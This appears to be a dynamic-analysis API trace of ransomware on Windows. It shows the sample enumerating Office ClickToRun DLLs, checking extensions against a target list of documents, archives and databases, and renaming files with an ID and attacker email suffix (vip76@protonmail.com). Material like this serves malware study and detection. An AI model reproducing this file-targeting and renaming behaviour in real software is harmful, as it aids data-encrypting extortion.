	[0078.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.908] lstrlenW (lpString=".1cd") returned 4
	[0078.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.908] lstrlenW (lpString=".jpg") returned 4
	[0078.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.908] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.908] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23
	[0078.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.908] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=2285736) returned 1
	[0078.908] CloseHandle (hObject=0x2c0) returned 1
	[0078.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20
	[0078.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0078.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1
	[0078.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.910] lstrlenW (lpString=".doc") returned 4
	[0078.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.910] lstrlenW (lpString=".docx") returned 5
	[0078.910] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0078.910] lstrlenW (lpString=".pdf") returned 4
	[0078.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.910] lstrlenW (lpString=".xls") returned 4
	[0078.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.910] lstrlenW (lpString=".xlsx") returned 5
	[0078.910] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0078.910] lstrlenW (lpString=".ppt") returned 4
	[0078.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString=".zip") returned 4
	[0078.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".rar") returned 4
	[0078.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".bz2") returned 4
	[0078.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.911] lstrlenW (lpString=".7z") returned 3
	[0078.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString=".dbf") returned 4
	[0078.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString=".1cd") returned 4
	[0078.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString=".jpg") returned 4
	[0078.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.911] lstrlenW (lpString=".doc") returned 4
	[0078.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".docx") returned 5
	[0078.911] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0078.911] lstrlenW (lpString=".pdf") returned 4
	[0078.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".xls") returned 4
	[0078.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".xlsx") returned 5
	[0078.911] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0078.911] lstrlenW (lpString=".ppt") returned 4
	[0078.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.912] lstrlenW (lpString=".zip") returned 4
	[0078.912] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.912] lstrlenW (lpString=".rar") returned 4
	[0078.912] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.912] lstrlenW (lpString=".bz2") returned 4
	[0078.912] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.912] lstrlenW (lpString=".7z") returned 3
	[0078.912] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.912] lstrlenW (lpString=".dbf") returned 4
	[0078.912] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.912] lstrlenW (lpString=".1cd") returned 4
	[0078.912] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0078.912] lstrlenW (lpString=".jpg") returned 4
	[0078.912] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.912] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.912] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25
	[0078.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.912] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=567512) returned 1
	[0078.912] CloseHandle (hObject=0x2c0) returned 1
	[0078.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20
	[0078.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.913] lstrlenW (lpString=".doc") returned 4
	[0078.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString=".docx") returned 5
	[0078.913] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.913] lstrlenW (lpString=".pdf") returned 4
	[0078.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString=".xls") returned 4
	[0078.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString=".xlsx") returned 5
	[0078.913] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.913] lstrlenW (lpString=".ppt") returned 4
	[0078.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.913] lstrlenW (lpString=".zip") returned 4
	[0078.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString=".rar") returned 4
	[0078.913] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.913] lstrlenW (lpString=".bz2") returned 4
	[0078.913] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.913] lstrlenW (lpString=".7z") returned 3
	[0078.913] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString=".dbf") returned 4
	[0078.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString=".1cd") returned 4
	[0078.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString=".jpg") returned 4
	[0078.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString=".doc") returned 4
	[0078.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString=".docx") returned 5
	[0078.914] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.914] lstrlenW (lpString=".pdf") returned 4
	[0078.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString=".xls") returned 4
	[0078.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString=".xlsx") returned 5
	[0078.914] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.914] lstrlenW (lpString=".ppt") returned 4
	[0078.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.914] lstrlenW (lpString=".zip") returned 4
	[0078.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString=".rar") returned 4
	[0078.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.914] lstrlenW (lpString=".bz2") returned 4
	[0078.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.914] lstrlenW (lpString=".7z") returned 3
	[0078.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.915] lstrlenW (lpString=".dbf") returned 4
	[0078.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.915] lstrlenW (lpString=".1cd") returned 4
	[0078.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0078.915] lstrlenW (lpString=".jpg") returned 4
	[0078.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.915] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.915] lstrlenW (lpString="AppVManifest.dll") returned 16
	[0078.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.915] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=1231576) returned 1
	[0078.915] CloseHandle (hObject=0x2c0) returned 1
	[0078.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20
	[0078.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString=".doc") returned 4
	[0078.916] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString=".docx") returned 5
	[0078.916] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0078.916] lstrlenW (lpString=".pdf") returned 4
	[0078.916] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString=".xls") returned 4
	[0078.916] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString=".xlsx") returned 5
	[0078.916] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0078.916] lstrlenW (lpString=".ppt") returned 4
	[0078.916] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString=".zip") returned 4
	[0078.916] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString=".rar") returned 4
	[0078.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.916] lstrlenW (lpString=".bz2") returned 4
	[0078.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.916] lstrlenW (lpString=".7z") returned 3
	[0078.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString=".dbf") returned 4
	[0078.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString=".1cd") returned 4
	[0078.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.916] lstrlenW (lpString=".jpg") returned 4
	[0078.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.917] lstrlenW (lpString=".doc") returned 4
	[0078.917] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.917] lstrlenW (lpString=".docx") returned 5
	[0078.917] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0078.917] lstrlenW (lpString=".pdf") returned 4
	[0078.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.917] lstrlenW (lpString=".xls") returned 4
	[0078.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.917] lstrlenW (lpString=".xlsx") returned 5
	[0078.918] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0078.918] lstrlenW (lpString=".ppt") returned 4
	[0078.918] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.918] lstrlenW (lpString=".zip") returned 4
	[0078.918] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.918] lstrlenW (lpString=".rar") returned 4
	[0078.918] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.918] lstrlenW (lpString=".bz2") returned 4
	[0078.918] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.918] lstrlenW (lpString=".7z") returned 3
	[0078.918] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.918] lstrlenW (lpString=".dbf") returned 4
	[0078.918] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.918] lstrlenW (lpString=".1cd") returned 4
	[0078.918] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0078.918] lstrlenW (lpString=".jpg") returned 4
	[0078.918] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.918] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.918] lstrlenW (lpString="AppVOrchestration.dll") returned 21
	[0078.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.919] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=947928) returned 1
	[0078.919] CloseHandle (hObject=0x2c0) returned 1
	[0078.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20
	[0078.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.919] lstrlenW (lpString=".doc") returned 4
	[0078.919] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.919] lstrlenW (lpString=".docx") returned 5
	[0078.919] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.919] lstrlenW (lpString=".pdf") returned 4
	[0078.919] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.919] lstrlenW (lpString=".xls") returned 4
	[0078.919] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.919] lstrlenW (lpString=".xlsx") returned 5
	[0078.919] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.919] lstrlenW (lpString=".ppt") returned 4
	[0078.919] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".zip") returned 4
	[0078.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString=".rar") returned 4
	[0078.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString=".bz2") returned 4
	[0078.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.920] lstrlenW (lpString=".7z") returned 3
	[0078.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".dbf") returned 4
	[0078.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".1cd") returned 4
	[0078.920] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".jpg") returned 4
	[0078.920] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".doc") returned 4
	[0078.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString=".docx") returned 5
	[0078.920] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.920] lstrlenW (lpString=".pdf") returned 4
	[0078.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString=".xls") returned 4
	[0078.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString=".xlsx") returned 5
	[0078.920] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.920] lstrlenW (lpString=".ppt") returned 4
	[0078.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.920] lstrlenW (lpString=".zip") returned 4
	[0078.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.921] lstrlenW (lpString=".rar") returned 4
	[0078.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.921] lstrlenW (lpString=".bz2") returned 4
	[0078.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.921] lstrlenW (lpString=".7z") returned 3
	[0078.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.921] lstrlenW (lpString=".dbf") returned 4
	[0078.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.921] lstrlenW (lpString=".1cd") returned 4
	[0078.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0078.921] lstrlenW (lpString=".jpg") returned 4
	[0078.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.921] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.921] lstrlenW (lpString="AppVPolicy.dll") returned 14
